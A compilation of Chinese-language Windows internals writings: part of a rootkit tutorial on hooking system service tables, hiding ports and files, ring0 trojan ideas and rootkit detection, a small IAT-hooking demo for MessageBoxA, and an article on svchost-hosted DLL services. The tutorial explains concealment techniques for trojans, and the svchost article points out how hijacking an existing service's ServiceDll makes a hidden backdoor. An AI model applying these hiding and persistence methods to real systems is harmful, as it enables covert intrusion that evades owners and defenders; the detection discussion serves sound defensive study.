但是，如果He4HookInv只更新KeServiceDescriptorTable ，新的服务项在用户模式下将不能被调用。为了定位KeServiceDescriptorTable Shadow ，将用到以下技术：KeAddSystemServiceTable 函数能向内核驱动层添加服务，而且能向两个表中同时添加。如果它的0指示符是相同的，通过扫描KeAddSystemServiceTable 函数代码就可以找到shadow 表的地址,具体可以在He4HookInv.c文件中的FindShadowTable(void)函数中查看是怎么实现的。如果这个办法失败，He4Hook使用一个硬编码的地址((KeServiceDescriptorTable-0x230)来定位ShadowTable的位置.这个地址从WinNT-sp3来就没有变过.另外一个问题是如何找到系统服务的编号，这个其实很简单，由于系统服务的函数体都具有以下形式(mov eax, NumberFunction),所以我们只要把系统服务的函数地址加上1bytes,就可以得到系统服务对应的编号。
He4HookInv利用的第二个方法就是修改文件系统驱动中DRIVER_OBJECT的回调表，这里就不在详细说明了。
3.端口隐藏
很多人检查自己中没中木马或后门，都会一些方法来查看自己本机所开的端口来判断是否有木马监听，而有些rootkit就开始想如何隐藏端口了。
最简单的枚举当前所开放的端口信息是调用iphlpapi.dll中的AllocateAndGetTcpTableFromStack和AllocateAndGetUdpTableFromStack函数，或者AllocateAndGetTcpExTableFromStack和AllocateAndGetUdpExTableFromStack函数。
DWORD WINAPI AllocateAndGetTcpTableFromStack(
OUT PMIB_TCPTABLE *pTcpTable,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);
DWORD WINAPI AllocateAndGetUdpTableFromStack(
OUT PMIB_UDPTABLE *pUdpTable,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);
DWORD WINAPI AllocateAndGetTcpExTableFromStack(
OUT PMIB_TCPTABLE_EX *pTcpTableEx,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);
DWORD WINAPI AllocateAndGetUdpExTableFromStack(
OUT PMIB_UDPTABLE_EX *pUdpTableEx,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);
还有另外一种方法。当程序创建了一个套接字并开始监听时，它就会有一个为它和打开端口的打开句柄。我们在系统中枚举所有的打开句柄并通过NtDeviceIoControlFile把它们发送到一个特定的缓冲区中，来找出这个句柄是否是一个打开端口的。这样也能给我们有关端口的信息。因为打开句柄太多了，所以我们只检测类型是File并且名字是\Device\Tcp或\Device\Udp的。打开端口只有这种类型和名字。
而通过察看iphlpapi.dll的代码。就会发现这些函数同样都是调用NtDeviceIoControlFile并发送到一个特定缓冲区来获得系统中所有打开端口的列表。也就是说，我们挂接NtDeviceIoControlFile函数就可以隐藏端口。
我们来看看NtDeviceIoControlFile的原型
NTSTATUS NtDeviceIoControlFile(
IN HANDLE FileHandle
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
我们来看看《The Undocumented Functions-Microsoft Windows NT_2000》中对这些参数的描述
FileHandle
HANDLE to Device Object opened as a file.
Event
Optional HANDLE to Event Object signalled on the end of processing request.
ApcRoutine
Optional pointer to user's APC Routine called on the end of processing request.
ApcContext
User's parameter to ApcRoutine.
IoStatusBlock
IO result of call.
IoControlCode
IO Control code [IOCTL_*].
InputBuffer
User's allocated buffer with input data.
InputBufferLength
Length of InputBuffer, in bytes.
OutputBuffer
User's allocated buffer for result data.
OutputBufferLength
Length of OutputBuffer, in bytes.
主要的就是FileHandle,IoStatusBlock,IoControlCode,IoControlCode,InputBufferLength,OutputBuffer,OutputBufferLength。
摘自《在NT系列操作系统里让自己“消失”》。
还有关于端口隐藏的技术就不提了 因为在我说的文章中已经说的很清楚了，所以在写就是浪费篇幅了。
jiurl也曾经提到过了一种隐藏端口的方法，并且给出了代码。在参考资料中有文章URL。
4 文件隐藏。
在WINNT里在某些目录中寻找某个文件的方法是枚举它里面所有的文件和它的子目录下的所有文件。文件的枚举是使用NtQueryDirectoryFile函数。
NTSTATUS NtQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);
在《The Undocumented Functions-Microsoft Windows NT_2000》中对这些参数的描述
FileHandle
HANDLE to File Object opened with FILE_DIRECTORY_FILE option and FILE_LIST_DIRECTORY access.
Event
Optional HANDLE to Event Object signaled after query complete.
ApcRoutine
Optinal pointer to user's APC routine queued after query complete.
ApcContext
Parameter for ApcRoutine.
IoStatusBlock
IO result of call.
FileInformation
User's allocated buffer for output data.
Length
Length of FileInformation buffer, in bytes.
FileInformationClass
Information class. Can be one of:
FileDirectoryInformation
FileFullDirectoryInformation
FileBothDirectoryInformation
FileNamesInformation
FileOleDirectoryInformation
ReturnSingleEntry
If set, only one entry is returned.
FileMask
If specified, only information about files matches this wildchar mask will be returned.
RestartScan
Used with ReturnSingleEntry parameter. If set, NtQueryDirectoryFile continue enumeration after last enumerated element in previous call. If no, returns the first entry in directory.
与隐藏文件相关的重要参数是FileHandle,FileInformation,FileInformationClass.
FileInformationClass中的相关信息过多，只说其中重要的四个。
FileDirectoryInformation
FileFullDirectoryInformation
FileBothDirectoryInformation
FileNamesInformation
要写入FileInformation的FileDirecoryInformation记录的结构:
typedef struct _FILE_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER
        CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER
        LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER
        EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG
        FileAttributes;
ULONG FileNameLength;
WCHAR FileName[1];
}
        FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
FileFullDirectoryInformation:
typedef struct _FILE_FULL_DIRECTORY_INFORMATION
        {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER
        CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER
        LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER
        EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG
        FileAttributes;
ULONG FileNameLength;
ULONG
        EaInformationLength;
WCHAR FileName[1];
}
        FILE_FULL_DIRECTORY_INFORMATION,
        *PFILE_FULL_DIRECTORY_INFORMATION;
FileBothDirectoryInformation:
typedef struct _FILE_BOTH_DIRECTORY_INFORMATION
        {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER
        CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER
        LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER
        EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG
        FileAttributes;
ULONG FileNameLength;
ULONG
        EaInformationLength;
UCHAR AlternateNameLength;
WCHAR
        AlternateName[12];
WCHAR FileName[1];
}
        FILE_BOTH_DIRECTORY_INFORMATION, *PFILE_BOTH_DIRECTORY_INFORMATION;
FileNamesInformation:
typedef struct _FILE_NAMES_INFORMATION
        {
ULONG NextEntryOffset;
ULONG Unknown;
ULONG
        FileNameLength;
WCHAR FileName[1];
} FILE_NAMES_INFORMATION,
        *PFILE_NAMES_INFORMATION;
这个函数在FileInformation中写入这些结构的一个列表。对我们来说在这些结构类型中只有3个变量是重要的。
NextEntryOffset是这个列表中项的偏移地址。第一个项在地址FileInformation+0处，所以第二个项在地址是FileInformation+第一个项的NextEntryOffset。最后一个项的NextEntryOffset是0。
FileName是文件全名。
FileNameLength是文件名长度。
如果我们想要隐藏一个文件，我们需要分别通知这4种类型，对每种类型的返回记录我们需要和我们打算隐藏的文件比较名字。如果我们打算隐藏第一个记录，我们可以把后面的结构向前移动，移动长度为第一个结构的长度，这样会导致第一个记录被改写。如果我们想要隐藏其它任何一个，只需要很容易的改变上一个记录的NextEntryOffset的值就行。如果我们要隐藏最后一个记录就把它的NextEntryOffset改为0，否则NextEntryOffset的值应为我们想要隐藏的那个记录和前一个的NextEntryOffset值的和。然后修改前一个记录的Unknown变量的值，它是下一次搜索的索引。把要隐藏的记录之前一个记录的Unknown变量的值改为我们要隐藏的那个记录的Unkown变量的值即可。
如果没有原本应该可见的记录被找到，我们就返回STATUS_NO_SUCH_FILE。
#define STATUS_NO_SUCH_FILE 0xC000000F
同隐藏端口一样。具体请看《在NT系列操作系统里让自己“消失”》。
5，在说一下baiyuanfan在xcon上提出的ring3 rootkit思路。就是通过挂接本机API实现同步与异步端口复用。利用自删除和复活来隐藏痕迹，不被检测到。
**********************************
四。一些隐藏技术的应对方法
像刚才提到的将进程对象从进程双向链表中删除就有办法突破。刚才其实聪明的人已经想到了。NtQuerySystemInformation所需要的链表已经被做了手脚。但windows dispatcher scheduler跟他所用的链表不一样。那么我门可以通过读取windows dispatcher scheduler所用的另一个链表来列出进程。也就是说可以直接通过读取KiWaitInListHead和KiWaitOutListHead来列举进程，这样就突破了修改双向链表隐藏进程的方法。pjf的通过读取KiWaitInListHead列出隐藏的进程中给出了代码。
不过这种检测方法不久又被突破了，就是替换内核的进程链表。
还有人提出使用HOOK SwapContext方法来检测。只要被处理器调度的线程就逃不掉。
有些人对这个函数不大了解。我来说说这个函数吧。
WINDOWS 2K/NT/XP系统中，处理器的调度对象是线程，在非SMP的OS中某时间段内当前 CPU 处理的进程只可能有一个。每个进程分配特定的 CPU 时间片来达到执行目的，而系统的 CPU 时钟中断确定了每个进程分配的时间片。也就是当系统 CPU 时钟中断触发时，产生的进程调度请求。处理器时钟中断发生的时候会调用KiDispatchInterrupt()，比较当前进程分配的时间片，如用完后会调用 KiQuantumEnd() 根据各线程优先级等信息用特定的调度算法选择新的线程（ETHREAD），然后将其返回值，一个 ETHREAD 结构作为参数，来调用 SwapContext() 设置 ETHREAD，EPROCESS 中的各项参数，并替换 KPCR 中的相应结构完成线程切换，调度到另一个进程（EPROCESS）的线程（ETHREAD）继续执行。可以说CPU的线程切换离不开SwapContext函数，当然，rootkit所执行线程的都会通过SwapContext函数来切换使之被CPU处理。
而在这之后有人就提出自己替换线程的调度就可以躲过这种检测。
在我看来，这种检测方法会占用很大的资源，毕竟CPU的线程切换非常频繁。如果谁有条件可以自己看看，一秒内会发生多少次的线程切换。
在第六部分我会说一下rootkit的检测。
*************************
五,about ring0 rootkit
有矛就有盾，有木马就有杀毒软件，但在这场双方之间永无休止的拉锯战中，木马始终处于劣势地位，尤其是现在，杀毒软件对木马的绞杀，真是到了“无所不用其极”的地步。杀毒软件凭什么能够长期居于优势地位？原因只有一个：杀毒软件/防火墙先入为主，具有以RING0为主、RING3为辅，大小通吃的天然优势。木马和杀毒软件/防火墙的战争，是一场不对称的战争，就象基地和美国那样。木马从一个赤裸裸的网络软件远程控制软件，发展到反弹型木马，DLL型木马，到现在的“隐身”型木马，身上穿的圣衣越来越厚。但是一个新木马刚刚诞生，很快就被杀毒软件收集特征码，列入黑名单，被到处追杀。当今“好木马”的必须具备无进程，无端口，难查杀等特征。但是在传统的RING3里，在下认为木马技术已经没有多少发展空间，必须到RING0去，在平等的条件下和杀毒软件/防火墙放手一博。向RING0进军，已经是木马新的发展方向。
和传统的木马相比，RING0木马有什么优势？让我们看看：
1，无进程。
RING0木马编译后是一个SYS文件，它和DLL文件那样，是插入到进程里运行的。但DLL插入的是地址在0x80000000下的用户区，而RING0木马插入到地址在0x80000000以上的系统区，而且所有进程共享，只要它本身不提供unload例程，几乎不可能被卸载，而且没有多少个工具可以列举系统里装载的SYS模块。
2，无端口。
RING0木马可以直接控制网卡收发包，系统和防火墙根本不知道，因此它可以使用任何端口，任何协议。或者通过使防火墙的NDIS驱动失效，突破防火墙的封堵。
3，难发现，难查杀，生存能力强。但是，要写出这样一匹好马，需要对系统内核和通讯协议非常熟悉的高手才能胜任，尤其要对ntoskrnl.exe，hal.dll，ndis.sys三个系统模块导出的函数要非常熟悉才行。另外安装RING0木马需要管理员及以上的权限，如果你只获得了肉机的GUEST权限，还要想办法提升权限才行。以上对RING0木马的描述只是一个构想而已，本人没有用代码实现过，也不知道有没有人写出了这样的木马，希望有人指正指正。不过对于编程爱好者来说，这是一个很大的挑战，能够写出来，足以证明你的能力了！
**************************
六,rootkit的检测
rootkit和病毒一样，都被杀毒软件厂商“关注”，正如上面about ring0 rootkit中说的一样，是一场永无休止的拉锯战。很多热爱技术的人，也喜欢挑战他们，所以rootkit的检测技术也不断增加。比如EPA（执行路径分析）。rootkit如果通过修改系统调用来实现隐藏目的（就像文章第三部分中提到的一样。），那么肯定会与正常的系统有所不同，当系统调用的路径发生变化的时候，我们通过之间的对比分析，就可以检测到rootkit的存在。当然，这样做也是有缺点的。每次系统调用发生时都要做检查，那么就像上面HOOK SwapContext一样。都会消耗系统的很多资源。其二，实现起来有难度。
还有就是反病毒的方法，就像对付病毒一样。不过这样的方法很被动。而且未公开的rootkit比较多，所以并不是非常有效。
还有一种新生的检测方法，就是微分测试(Differential testing)。不过很容易突破。估计后面的 rootkit就可以饶过了……。
检测一些rootkit，各位可以使用pjf的icesword,是一款非常优秀的检测工具了。ICE的枚举进程用了不只一种方法。不要以为他什么都可以查到。ps:不过在使用的时候不要呼出softice,否则会崩溃，这是因为ice的反调试机制。也可以试试zzzevazzz的knlsc。不过检测到了以后也是非常难完全清除的，弄不好会造成系统出现故障。提早防备还是比较重要的。下面来说一些可以预防rootkit的方法。至于防御rootkit，还是必备杀毒软件，一些已经以知的rootkit还会被查杀。而一些设置可以阻止rootkit植入，例如禁止访问\Device\PhysicalMemory 。禁止驱动加载系统调用。不过如果设置的太严格会出问题，记得我当时胡乱设置，导致植入rootkit的时候BSOD.....
**************************
七，参考资料:
1.http://www.phrack.org/phrack/62/p62-0x06_Kernel_Mode_Backdoors_for_Windows_NT.txt <firew0rker>
2.http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-rutkowski/rutkowski-antirootkit.zip <Jan K. Rutkowski>
3.http://www.eviloctal.com/forum/htm_data/15/0506/11387.html <Jan Krzysztof Rutkowski>
4.http://www.xfocus.net/articles/200403/680.html <Holy_Father>
5.http://www.eviloctal.com/forum/htm_data/24/0509/14187.html <The Undocumented Functions-Microsoft Windows NT_2000>
6.http://he4dev.e1.bmstu.ru/HookSysCall/
7.http://blog.csdn.net/sunwear/archive/2004/10/03/123751.aspx <sunwear>
8.http://www.xfocus.net/articles/200309/610.html <pjf>
9.http://www.eviloctal.com/forum/htm_data/13/0502/7858.html <pjf>
10.http://www.eviloctal.com/forum/htm_data/26/0412/5226.html <jiurl>
11.http://www.rootkit.com/newsread_print.php?newsid=170 <kimmo >
12.http://www.xfocus.net/articles/200404/693.html
13.http://www.xfocus.net/projects/Xcon/2005/Xcon2005_Baiyuanfan.pdf <baiyuanfan>
14.http://www.xfocus.net/projects/Xcon/2005/Xcon2005_Shok.pdf <shok>
推荐：
1.http://www.rootkit.com/
2.http://www.phrack.org/
3.http://www.eviloctal.com/
4.http://www.xfocus.net/
5.http://www.securiteam.com/
6.http://www.retcvc.com/
7.http://www.driverdevelop.com/


同学写了个hook api的例子程序,顺便post到这儿,免得将来到处找.
一个简单的console工程,vc6,vc7在win2k pro,server上调试通过.
#include <stdio.h>
#include <windows.h>
#include <Dbghelp.h>
#pragma comment(lib,"Dbghelp.lib")
#pragma comment(lib,"User32.lib")
typedef int (__stdcall *OLD_MessageBox)( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption,UINT uType );
OLD_MessageBox g_procOldMessageBox = NULL;
int __stdcall HOOK_MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption,UINT uType)
{
printf("%s\t%d\r\n",__FUNCTION__,__LINE__);
if (NULL != g_procOldMessageBox)
return g_procOldMessageBox(hWnd,lpText,"不好意思,hook到了!",uType);
else
return MessageBox(hWnd,lpText,lpCaption,uType); ;
}
int replace_IAT(const char *pDllName,const char
        *pApiName,bool bReplace)
{
HANDLE hProcess =
        ::GetModuleHandle (NULL);
DWORD dwSize =
        0;
PIMAGE_IMPORT_DESCRIPTOR pImageImport =
        (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData(hProcess,TRUE,
IMAGE_DIRECTORY_ENTRY_IMPORT,&dwSize);
if (NULL ==
        pImageImport)
return 1;
PIMAGE_IMPORT_BY_NAME
        pImageImportByName = NULL;
PIMAGE_THUNK_DATA
        pImageThunkOriginal = NULL;
PIMAGE_THUNK_DATA
        pImageThunkReal  = NULL;
while
        (pImageImport->Name)
{
if (0 ==
        strcmpi((char*)((PBYTE)hProcess+pImageImport->Name),pDllName))
{
break;
}
++pImageImport;
}
if (!
        pImageImport->Name)
return 2;
pImageThunkOriginal
        =
        (PIMAGE_THUNK_DATA)((PBYTE)hProcess+pImageImport->OriginalFirstThunk
        );
pImageThunkReal =
        (PIMAGE_THUNK_DATA)((PBYTE)hProcess+pImageImport->FirstThunk
        );
while
        (pImageThunkOriginal->u1.Function)
{
if
        ((pImageThunkOriginal->u1 .Ordinal & IMAGE_ORDINAL_FLAG) !=
        IMAGE_ORDINAL_FLAG)
{
pImageImportByName =
        (PIMAGE_IMPORT_BY_NAME)((PBYTE)hProcess+pImageThunkOriginal->u1
        .AddressOfData );
if (0 ==
        strcmpi(pApiName,(char*)pImageImportByName->Name))
{
MEMORY_BASIC_INFORMATION
        mbi_thunk;
VirtualQuery(pImageThunkReal,
        &mbi_thunk, sizeof(MEMORY_BASIC_INFORMATION));
VirtualProtect(mbi_thunk.BaseAddress,mbi_thunk.RegionSize,
        PAGE_READWRITE, &mbi_thunk.Protect);
if (true
        == bReplace)
{
g_procOldMessageBox =(OLD_MessageBox) pImageThunkReal->u1.Function;
pImageThunkReal->u1.Function =
        (DWORD)HOOK_MessageBox;
}
else
pImageThunkReal->u1.Function =
        (DWORD)g_procOldMessageBox;
DWORD dwOldProtect;
VirtualProtect(mbi_thunk.BaseAddress,
        mbi_thunk.RegionSize, mbi_thunk.Protect, &dwOldProtect);
break;
}
}
++pImageThunkOriginal;
++pImageThunkReal;
}
return 0;
}
int
        main()
{
replace_IAT("User32.dll","MessageBoxA",true);
MessageBox(NULL,"EnumIAT
        User32.dll MessageBoxA
        true;","",MB_OK);
replace_IAT("User32.dll","MessageBoxA",false);
MessageBox(NULL,"EnumIAT
        User32.dll MessageBoxA false;","",MB_OK);
return
        getchar();
}


创建SvcHost.exe调用的服务原理与实践

1. 多个服务共享一个Svchost.exe进程利与弊
windows 系统服务分为独立进程和共享进程两种，在windows NT时只有服务器管理器SCM（Services.exe）有多个共享服务，随着系统内置服务的增加，在windows 2000中ms又把很多服务做成共享方式，由svchost.exe启动。windows 2000一般有2个svchost进程，一个是RPCSS（Remote Procedure Call）服务进程，另外一个则是由很多服务共享的一个svchost.exe。而在windows XP中，则一般有4个以上的svchost.exe服务进程，windows 2003 server中则更多，可以看出把更多的系统内置服务以共享进程方式由svchost启动是ms的一个趋势。这样做在一定程度上减少了系统资源的消耗，不过也带来一定的不稳定因素，因为任何一个共享进程的服务因为错误退出进程就会导致整个进程中的所有服务都退出。另外就是有一点安全隐患，首先要介绍一下svchost.exe的实现机制。
2. Svchost原理
Svchost本身只是作为服务宿主，并不实现任何服务功能，需要Svchost启动的服务以动态链接库形式实现，在安装这些服务时，把服务的可执行程序指向svchost，启动这些服务时由svchost调用相应服务的动态链接库来启动服务。
那么svchost如何知道某一服务是由哪个动态链接库负责呢？这不是由服务的可执行程序路径中的参数部分提供的，而是服务在注册表中的参数设置的，注册表中服务下边有一个Parameters子键其中的ServiceDll表明该服务由哪个动态链接库负责。并且所有这些服务动态链接库都必须要导出一个ServiceMain()函数，用来处理服务任务。
例如rpcss（Remote Procedure Call）在注册表中的位置是 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs，它的参数子键Parameters里有这样一项：
"ServiceDll"=REG_EXPAND_SZ:"%SystemRoot%\system32\rpcss.dll"
当启动rpcss服务时，svchost就会调用rpcss.dll，并且执行其ServiceMain()函数执行具体服务。
既然这些服务是使用共享进程方式由svchost启动的，为什么系统中会有多个svchost进程呢？ms把这些服务分为几组，同组服务共享一个svchost进程，不同组服务使用多个svchost进程，组的区别是由服务的可执行程序后边的参数决定的。
例如rpcss在注册表中 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs 有这样一项：
"ImagePath"=REG_EXPAND_SZ:"%SystemRoot%\system32\svchost -k rpcss"
因此rpcss就属于rpcss组，这在服务管理控制台也可以看到。
svchost的所有组和组内的所有服务都在注册表的如下位置： HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost，例如windows 2000共有4组rpcss、netsvcs、wugroup、BITSgroup，其中最多的就是netsvcs=REG_MULTI_SZ:EventSystem.Ias.Iprip.Irmon.Netman.Nwsapagent.Rasauto.Rasman.Remoteaccess.SENS.Sharedaccess.Tapisrv.Ntmssvc.wzcsvc..
在启动一个svchost.exe负责的服务时，服务管理器如果遇到可执行程序内容ImagePath已经存在于服务管理器的映象库中，就不在启动第2个进程svchost，而是直接启动服务。这样就实现了多个服务共享一个svchost进程。
3. Svchost代码
现在我们基本清楚svchost的原理了，但是要自己写一个DLL形式的服务，由svchost来启动，仅有上边的信息还有些问题不是很清楚。比如我们在导出的ServiceMain()函数中接收的参数是ANSI还是Unicode？我们是否需要调用RegisterServiceCtrlHandler和StartServiceCtrlDispatcher来注册服务控制及调度函数？
这些问题要通过查看svchost代码获得。下边的代码是windows 2000+ service pack 4 的svchost反汇编片段，可以看出svchost程序还是很简单的。
主函数首先调用ProcCommandLine()对命令行进行分析，获得要启动的服务组，然后调用SvcHostOptions()查询该服务组的选项和服务组的所有服务，并使用一个数据结构 svcTable 来保存这些服务及其服务的DLL，然后调用PrepareSvcTable() 函数创建SERVICE_TABLE_ENTRY 结构，把所有处理函数SERVICE_MAIN_FUNCTION 指向自己的一个函数FuncServiceMain()，最后调用API StartServiceCtrlDispatcher() 注册这些服务的调度函数。
; =============================== Main Funcion ===========================================
.text:010010B8 public start
.text:010010B8 start proc near
.text:010010B8 push esi
.text:010010B9 push edi
.text:010010BA push offset sub_1001EBA ; lpTopLevelExceptionFilter
.text:010010BF xor edi, edi
.text:010010C1 call ds:SetUnhandledExceptionFilter
.text:010010C7 push 1 ; uMode
.text:010010C9 call ds:SetErrorMode
.text:010010CF call ds:GetProcessHeap
.text:010010D5 push eax
.text:010010D6 call sub_1001142
.text:010010DB mov eax, offset dword_1003018
.text:010010E0 push offset unk_1003000 ; lpCriticalSection
.text:010010E5 mov dword_100301C, eax
.text:010010EA mov dword_1003018, eax
.text:010010EF call ds:InitializeCriticalSection
.text:010010F5 call ds:GetCommandLineW
.text:010010FB push eax ; lpString
.text:010010FC call ProcCommandLine
.text:01001101 mov esi, eax
.text:01001103 test esi, esi
.text:01001105 jz short lab_doservice
.text:01001107 push esi
.text:01001108 call SvcHostOptions
.text:0100110D call PrepareSvcTable
.text:01001112 mov edi, eax ; SERVICE_TABLE_ENTRY returned
.text:01001114 test edi, edi
.text:01001116 jz short loc_1001128
.text:01001118 mov eax, [esi+10h]
.text:0100111B test eax, eax
.text:0100111D jz short loc_1001128
.text:0100111F push dword ptr [esi+14h] ; dwCapabilities
.text:01001122 push eax ; int
.text:01001123 call InitializeSecurity
.text:01001128
.text:01001128 loc_1001128: ; CODE XREF: start+5Ej
.text:01001128 ; start+65j
.text:01001128 push esi ; lpMem
.text:01001129 call HeapFreeMem
.text:0100112E
.text:0100112E lab_doservice: ; CODE XREF: start+4Dj
.text:0100112E test edi, edi
.text:01001130 jz ExitProgram
.text:01001136 push edi ; lpServiceStartTable
.text:01001137 call ds:StartServiceCtrlDispatcherW
.text:0100113D jmp ExitProgram
.text:0100113D start endp
; =============================== Main Funcion end ===========================================
由于svchost为该组的所有服务都注册了svchost中的一个处理函数，因此每次启动任何一个服务时，服务管理器SCM都会调用FuncServiceMain() 这个函数。这个函数使用 svcTable 查询要启动的服务使用的DLL，调用DLL导出的ServiceMain()函数来启动服务，然后返回。
; ============================== FuncServiceMain() ===========================================
.text:01001504 FuncServiceMain proc near ; DATA XREF: PrepareSvcTable+44o
.text:01001504
.text:01001504 arg_0 = dword ptr 8
.text:01001504 arg_4 = dword ptr 0Ch
.text:01001504
.text:01001504 push ecx
.text:01001505 mov eax, [esp+arg_4]
.text:01001509 push ebx
.text:0100150A push ebp
.text:0100150B push esi
.text:0100150C mov ebx, offset unk_1003000
.text:01001511 push edi
.text:01001512 mov edi, [eax]
.text:01001514 push ebx
.text:01001515 xor ebp, ebp
.text:01001517 call ds:EnterCriticalSection
.text:0100151D xor esi, esi
.text:0100151F cmp dwGroupSize, esi
.text:01001525 jbe short loc_1001566
.text:01001527 and [esp+10h], esi
.text:0100152B
.text:0100152B loc_100152B: ; CODE XREF: FuncServiceMain+4Aj
.text:0100152B mov eax, svcTable
.text:01001530 mov ecx, [esp+10h]
.text:01001534 push dword ptr [eax+ecx]
.text:01001537 push edi
.text:01001538 call ds:lstrcmpiW
.text:0100153E test eax, eax
.text:01001540 jz short StartThis
.text:01001542 add dword ptr [esp+10h], 0Ch
.text:01001547 inc esi
.text:01001548 cmp esi, dwGroupSize
.text:0100154E jb short loc_100152B
.text:01001550 jmp short loc_1001566
.text:01001552 ; =================================================
.text:01001552
.text:01001552 StartThis: ; CODE XREF: FuncServiceMain+3Cj
.text:01001552 mov ecx, svcTable
.text:01001558 lea eax, [esi+esi*2]
.text:0100155B lea eax, [ecx+eax*4]
.text:0100155E push eax
.text:0100155F call GetDLLServiceMain
.text:01001564 mov ebp, eax ; dll ServiceMain Function address
.text:01001566
.text:01001566 loc_1001566: ; CODE XREF: FuncServiceMain+21j
.text:01001566 ; FuncServiceMain+4Cj
.text:01001566 push ebx
.text:01001567 call ds:LeaveCriticalSection
.text:0100156D test ebp, ebp
.text:0100156F jz short loc_100157B
.text:01001571 push [esp+10h+arg_4]
.text:01001575 push [esp+14h+arg_0]
.text:01001579 call ebp
.text:0100157B
.text:0100157B loc_100157B: ; CODE XREF: FuncServiceMain+6Bj
.text:0100157B pop edi
.text:0100157C pop esi
.text:0100157D pop ebp
.text:0100157E pop ebx
.text:0100157F pop ecx
.text:01001580 retn 8
.text:01001580 FuncServiceMain endp ; sp = -8
; ============================== FuncServiceMain() end ========================================
由于svchost已经调用了StartServiceCtrlDispatcher来服务调度函数，因此我们在实现DLL实现时就不用了，这主要是因为一个进程只能调用一次StartServiceCtrlDispatcher API。但是需要用 RegisterServiceCtrlHandler 来注册响应控制请求的函数。最后我们的DLL接收的都是unicode字符串。
由于这种服务启动后由svchost加载，不增加新的进程，只是svchost的一个DLL，而且一般进行审计时都不会去HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost 检查服务组是否变化，就算去检查，也不一定能发现异常，因此如果添加一个这样的DLL后门，伪装的好，是比较隐蔽的。
4. 安装服务与设置
要通过svchost调用来启动的服务，就一定要在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下有该服务名，这可以通过如下方式来实现：
1） 添加一个新的服务组，在组里添加服务名
2） 在现有组里添加服务名
3） 直接使用现有服务组里的一个服务名，但本机没有安装的服务
4） 修改现有服务组里的现有服务，把它的ServiceDll指向自己
其中前两种可以被正常服务使用，如使用第1种方式，启动其服务要创建新的svchost进程；第2种方式如果该组服务已经运行，安装后不能立刻启动服务，因为svchost启动后已经把该组信息保存在内存里，并调用API StartServiceCtrlDispatcher() 为该组所有服务注册了调度处理函数，新增加的服务不能再注册调度处理函数，需要重起计算机或者该组的svchost进程。而后两种可能被后门使用，尤其是最后一种，没有添加服务，只是改了注册表里一项设置，从服务管理控制台又看不出来，如果作为后门还是很隐蔽的。比如EventSystem服务，缺省是指向es.dll，如果把ServiceDll改为EventSystem.dll就很难发现。
因此服务的安装除了调用CreateService()创建服务之外，还需要设置服务的ServiceDll，如果使用前2种还要设置svchost的注册表选项，在卸载时也最好删除增加的部分。
具体代码参见后边的附例（使用的是方法3）。
注： ImagePath 和ServiceDll 是ExpandString不是普通字符串。因此如果使用.reg文件安装时要注意。
5. DLL服务实现
DLL程序的编写比较简单，只要实现一个ServiceMain()函数和一个服务控制程序，在ServiceMain()函数里用RegisterServiceCtrlHandler()注册服务控制程序，并设置服务的运行状态就可以了。
另外，因为此种服务的安装除了正常的CreateService()之外，还要进行其他设置，因此最好实现安装和卸载函数。
为了方便安装，实现的代码提供了InstallService()函数进行安装，这个函数可以接收服务名作为参数（如果不提供参数，就使用缺省的iprip），如果要安装的服务不在svchost的netsvcs组里安装就会失败；如果要安装的服务已经存在，安装也会失败；安装成功后程序会配置服务的ServiceDll为当前Dll。提供的UninstallService()函数，可以删除任何函数而没有进行任何检查。
为了方便使用rundll32.exe进行安装，还提供了RundllInstallA()和RundllUninstallA()分别调用InstallService()及UninstallService()。因为rundll32.exe使用的函数原型是：
void CALLBACK FunctionName(
HWND hwnd, // handle to owner window
HINSTANCE hinst, // instance handle for the DLL
LPTSTR lpCmdLine, // string the DLL will parse
int nCmdShow // show state
);
对应的命令行是rundll32 DllName,FunctionName [Arguments]
